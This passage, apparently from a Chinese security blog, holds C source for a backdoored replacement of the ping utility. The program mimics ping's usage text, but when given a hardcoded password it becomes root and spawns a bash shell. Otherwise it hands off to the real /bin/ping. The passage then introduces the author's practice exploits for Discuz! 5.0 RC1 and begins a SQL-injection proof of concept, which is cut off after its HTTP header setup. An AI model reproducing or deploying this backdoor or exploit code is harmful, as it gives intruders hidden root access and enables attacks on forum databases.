<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;unistd.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;signal.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/param.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/types.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/stat.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;unistd.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;fcntl.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;errno.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">define&nbsp;PWD&nbsp;"wofeiwo"</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;init&nbsp;the&nbsp;daemon,&nbsp;if&nbsp;success&nbsp;return&nbsp;0&nbsp;other&nbsp;&lt;0&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;daemon_init()&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;sigaction&nbsp;act;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;maxfd;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(fork()&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(setsid()&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;act</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sa_handler&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;SIG_IGN;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">act.sa_mask&nbsp;=&nbsp;0;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;act</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sa_flags&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;sigaction(SIGHUP</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">act</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(fork()&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">chdir</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">umask</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;maxfd&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sysconf(_SC_OPEN_MAX);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">maxfd;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;close(i);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;open(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/dev/null</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;O_RDWR);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dup(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dup(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dup(</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">j</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;argv_execv[</span><span style="COLOR: #000000">52</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">128</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;usage[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;ping&nbsp;[-LRUbdfnqrvVaA]&nbsp;[-c&nbsp;count]&nbsp;[-i&nbsp;interval]&nbsp;[-w&nbsp;deadline]\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[-p&nbsp;pattern]&nbsp;[-s&nbsp;packetsize]&nbsp;[-t&nbsp;ttl]&nbsp;[-I&nbsp;interface&nbsp;or&nbsp;address]\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[-M&nbsp;mtu&nbsp;discovery&nbsp;hint]&nbsp;[-S&nbsp;sndbuf]\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[&nbsp;-T&nbsp;timestamp&nbsp;option&nbsp;]&nbsp;[&nbsp;-Q&nbsp;tos&nbsp;]&nbsp;[hop1&nbsp;<img src="http://www.phpweblog.net/Images/dot.gif">]&nbsp;destination\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(argc&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;usage);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(argc&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(PWD</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;signal(SIGCHLD</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;sig_chid);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;daemon_init();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;seteuid(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setgid(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">system</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/bin/bash</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;argc;&nbsp;i&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">)&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(argv_execv[j]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">argv[j]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(argv_execv[j]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;execv(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/bin/ping</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br><br>最后两个,都是dz5rc1的exp,一个c语言单线程,一个py的多线程,都是练手写的<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">/*</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;PoC<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Author:&nbsp;wofeiwo&nbsp;thx&nbsp;superheis&nbsp;help<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Date:&nbsp;Aug&nbsp;24th&nbsp;2006<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdlib.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;winsock2.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;windows.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">pragma&nbsp;comment&nbsp;(lib,"ws2_32")</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">define&nbsp;PASSLEN&nbsp;32</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HMod[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GET</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">POST</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HttpVer[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">HTTP/1.0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">HTTP/1.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HAccept[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;image/gif,&nbsp;image/x-xbitmap,&nbsp;image/jpeg,&nbsp;image/pjpeg,&nbsp;application/x-shockwave-flash,&nbsp;application/vnd.ms-excel,&nbsp;application/vnd.ms-powerpoint,&nbsp;application/msword,&nbsp;*/*</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HAcceptLg[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Language:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;zh-cn</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HContentTp[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-Type:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;application/x-www-form-urlencoded</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HAcceptEn[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Encoding:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;gzip,&nbsp;deflate</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HUserAgent[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">User-Agent:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;SV1;&nbsp;Maxthon)</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span 